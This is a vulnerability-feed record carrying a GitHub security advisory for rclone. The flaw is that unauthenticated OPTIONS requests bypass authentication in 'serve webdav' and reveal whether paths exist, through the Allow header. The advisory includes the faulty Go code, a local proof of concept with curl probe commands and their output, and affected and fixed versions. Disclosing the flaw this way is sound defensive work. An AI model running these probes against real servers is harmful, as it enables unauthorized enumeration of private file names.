{"schema":"threatline.record/2","record":{"id":"GHSA-gj73-fh6v-92fj","aliases":["GHSA-gj73-fh6v-92fj"],"summary":"`serve webdav` skips authentication for every OPTIONS request","details":"### Summary\r\n\r\nBoth HTTP auth middlewares in `lib/http` return early for **any** `OPTIONS` request, not just genuine CORS preflights. In `rclone serve webdav` - the only server that routes `OPTIONS` to a real handler - this lets an unauthenticated client ask about any path and read the answer from the `Allow` header, which differs for an existing file, an existing collection and a missing path. `--user`/`--pass`, `--htpasswd` and `--auth-proxy` are all bypassed for that method.\r\n\r\n### Details\r\n\r\n`lib/http/middleware.go`, `basicAuth()` (line 60) and `MiddlewareAuthCustom()` (line 128) both contain:\r\n\r\n```go\r\n// skip auth for CORS preflight\r\nif r.Method == \"OPTIONS\" {\r\n\tnext.ServeHTTP(w, r)\r\n\treturn\r\n}\r\n```\r\n\r\nNeither checks for the headers that actually identify a preflight (`Origin` plus `Access-Control-Request-Method`), and neither constrains what the downstream handler may return - so the exemption applies to every `OPTIONS` request from any client.\r\n\r\n`cmd/serve/webdav/webdav.go` registers its handler for all methods (lines 318, 330-332):\r\n\r\n```go\r\nrouter.Handle(\"/*\", w)                       // chi: every method, OPTIONS included\r\nfor _, method := range []string{\"COPY\", \"LOCK\", \"MKCOL\", \"MOVE\",\r\n\t\"PROPFIND\", \"PROPPATCH\", \"UNLOCK\"} {\r\n\tchi.RegisterMethod(method)\r\n\trouter.Method(method, \"/*\", w)\r\n}\r\n```\r\n\r\n`WebDAV.ServeHTTP` passes `OPTIONS` straight to `golang.org/x/net/webdav`, whose `handleOptions` stats the requested path and selects the `Allow` value from the result. The unauthenticated caller therefore learns, for any path they name, whether it exists and whether it is a file or a collection.\r\n\r\nThe exemption exists so browser CORS preflights (which carry no credentials) succeed. The defect is that it is unconditional rather than limited to actual preflights.\r\n\r\n### PoC\r\n\r\nVerified on a clean checkout of `master` commit `220fe7619` (`git describe`: `v1.75.0-201-g220fe7619`, `VERSION` = `v1.76.0`), Linux, `go1.26.0`. Read-only, local, non-destructive.\r\n\r\n**1. Build and serve a directory with authentication enabled**\r\n\r\n```sh\r\ngit clone https://github.com/rclone/rclone /tmp/rc && cd /tmp/rc\r\ngit checkout 220fe7619\r\ngo build -o /tmp/rclone .\r\n\r\nmkdir -p /tmp/dav/secretdir && echo \"top secret\" > /tmp/dav/secret.txt\r\n: > /tmp/dav/rclone.conf\r\n/tmp/rclone serve webdav --config /tmp/dav/rclone.conf \\\r\n  --addr 127.0.0.1:18081 --user user --pass SuperSecretPassword /tmp/dav &\r\nsleep 2\r\n```\r\n\r\n**2. Unauthenticated requests - no `Authorization` header at all**\r\n\r\n```sh\r\nfor m in GET PROPFIND; do\r\n  printf '%-9s /secret.txt -> %s\\n' \"$m\" \\\r\n    \"$(curl -s -o /dev/null -w '%{http_code}' -X $m http://127.0.0.1:18081/secret.txt)\"\r\ndone\r\nfor p in /secret.txt /secretdir/ /does-not-exist; do\r\n  printf 'OPTIONS   %-16s -> HTTP %s  Allow: %s\\n' \"$p\" \\\r\n    \"$(curl -s -o /dev/null -w '%{http_code}' -X OPTIONS http://127.0.0.1:18081$p)\" \\\r\n    \"$(curl -s -D- -o /dev/null -X OPTIONS http://127.0.0.1:18081$p | tr -d '\\r' | awk -F': ' '/^Allow:/{print $2}')\"\r\ndone\r\n```\r\n\r\nObserved:\r\n\r\n```\r\nGET       /secret.txt -> 401\r\nPROPFIND  /secret.txt -> 401\r\nOPTIONS   /secret.txt      -> HTTP 200  Allow: OPTIONS, LOCK, GET, HEAD, POST, DELETE, PROPPATCH, COPY, MOVE, UNLOCK, PROPFIND, PUT\r\nOPTIONS   /secretdir/      -> HTTP 200  Allow: OPTIONS, LOCK, DELETE, PROPPATCH, COPY, MOVE, UNLOCK, PROPFIND\r\nOPTIONS   /does-not-exist  -> HTTP 200  Allow: OPTIONS, LOCK, PUT, MKCOL\r\n```\r\n\r\nThe three `Allow` values are distinct and identify \"existing file\", \"existing collection\" and \"does not exist\". Every other method is correctly rejected with `401`.\r\n\r\n**3. Sanity check that auth is otherwise working**\r\n\r\n```sh\r\ncurl -s -u user:SuperSecretPassword http://127.0.0.1:18081/secret.txt   # -> top secret\r\nkill %1 && rm -rf /tmp/dav /tmp/rclone /tmp/rc\r\n```\r\n\r\n**Scope check.** `rclone serve http` was tested the same way and is **not** affected - it registers only GET/HEAD, so all three probes return an identical `405 Method Not Allowed`. `serve restic` registers only GET/POST/HEAD/DELETE; `rcd`'s `handleOptions` returns an empty `200`. The pprof handlers mounted at `router.Handle(\"/debug/pprof/*\", mux)` in `fs/rc/rcserver` are also not reachable this way - chi answers `405` for `OPTIONS` there even with valid credentials.\r\n\r\n**Affected-version evidence.** The unconditional exemption was introduced in `v1.64.0` (commit `88c72d1f4`, which moved the `OPTIONS` short-circuit out of the CORS middleware into both auth middlewares):\r\n\r\n```sh\r\nfor t in $(git tag --sort=v:refname | grep -E '^v1\\.(6[3-9]|7[0-9])\\.[0-9]+$'); do\r\n  n=$(git show \"${t}:lib/http/middleware.go\" | grep -c 'if r.Method == \"OPTIONS\" {')\r\n  printf '%s=%s ' \"$t\" \"$n\"; done\r\n# v1.63.0=0 v1.63.1=0 v1.64.0=2 v1.64.1=2 ... v1.74.4=2 v1.75.0=2   (HEAD=2)\r\n```\r\n\r\n### Impact\r\n\r\nMissing authentication for one HTTP method (CWE-306) yielding an unauthenticated information disclosure (CWE-200) via an observable response discrepancy (CWE-204). Any `rclone serve webdav` deployment that relies on `--user`/`--pass`, `--htpasswd` or `--auth-proxy` is impacted: a remote, unauthenticated attacker can probe the whole served remote for the existence and type of arbitrary paths, one request per candidate name. Directory and file names are frequently sensitive on their own and the oracle enables namespace enumeration before further attack. Exposure is metadata only - no file contents, listings or writes are reachable through `OPTIONS`.\r\n\r\n### Credits\r\n\r\n- Thai Son Dinh from VinSOC Labs (R&D)\r\n","categories":["Unclassified"],"product":"github.com/rclone/rclone","vendor":"","ecosystem":null,"affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/rclone/rclone/security/advisories/GHSA-gj73-fh6v-92fj","source_modified_at":"2026-10-09T10:55:44Z","fetched_at":"2026-10-27T04:51:10.072820Z","package":{"ecosystem":"go","name":"github.com/rclone/rclone"},"range":">= 1.64.0, <= 1.75.1"}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/rclone/rclone/security/advisories/GHSA-gj73-fh6v-92fj","source_modified_at":"2026-10-09T10:55:44Z","fetched_at":"2026-10-27T04:51:10.072820Z","package":{"ecosystem":"go","name":"github.com/rclone/rclone"},"version":"1.75.2"}],"cvss":5.3,"severity":"Medium","kev":{"listed":false},"epss":{"probability":null,"percentile":null,"score_date":null},"published_at":"2026-10-09T10:55:44Z","modified_at":"2026-10-09T10:55:44Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/rclone/rclone/security/advisories/GHSA-gj73-fh6v-92fj","fetched_at":"2026-10-27T04:51:10.072820Z","source_modified_at":"2026-10-09T10:55:44Z"}],"sources":["GitHub Advisory Database"],"references":[],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":null,"confidence":"unknown","reviewed":false},"change_timestamp":"2026-10-09T10:55:44Z","content_hash":"6e4e06a74cda0197f2a74ece31032423255cc302e8ac403fd065c4440b622fdd"}}
